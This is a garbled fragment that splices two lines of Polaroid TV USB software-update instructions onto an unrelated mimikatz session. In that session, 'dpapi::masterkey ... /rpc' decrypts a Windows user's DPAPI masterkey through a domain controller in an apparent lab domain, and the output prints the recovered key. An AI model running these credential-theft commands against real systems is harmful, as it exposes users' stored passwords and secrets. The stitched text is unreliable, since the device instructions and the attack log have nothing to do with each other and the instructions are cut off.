Pull the flash drive out as soon as the TV screen goes black to reboot. Leaving it in might trigger the update loop again on the next startup.
Method B: For Broken or Boot-Looped TVs (Forced Recovery Update) Polaroid Tv Software Update Usb
mimikatz # dpapi::masterkey /in:"%appdata%\Microsoft\Protect\S-1-5-21-1719172562-3308538836-3929312420-1104\cc6eb538-28f1-4ab4-adf2-f5594e88f0b2" /rpc
**MASTERKEYS**
dwVersion : 00000002 - 2
szGuid : {cc6eb538-28f1-4ab4-adf2-f5594e88f0b2}
[...]
[domainkey] with RPC
[DC] 'lab.local' will be the domain
[DC] 'dc.lab.local' will be the DC server
key : 3ed054e284b5d47796f4779a2c0de63ca0ea9c63ce9e3f6868e2dd4f1113f6f3c55d9c1e21d2378c4499f98c0682991647dfd5f60b4f05034163ff59651e4ad4
sha1: 81c99543dea591c11f20d69027ea2016d89d07dd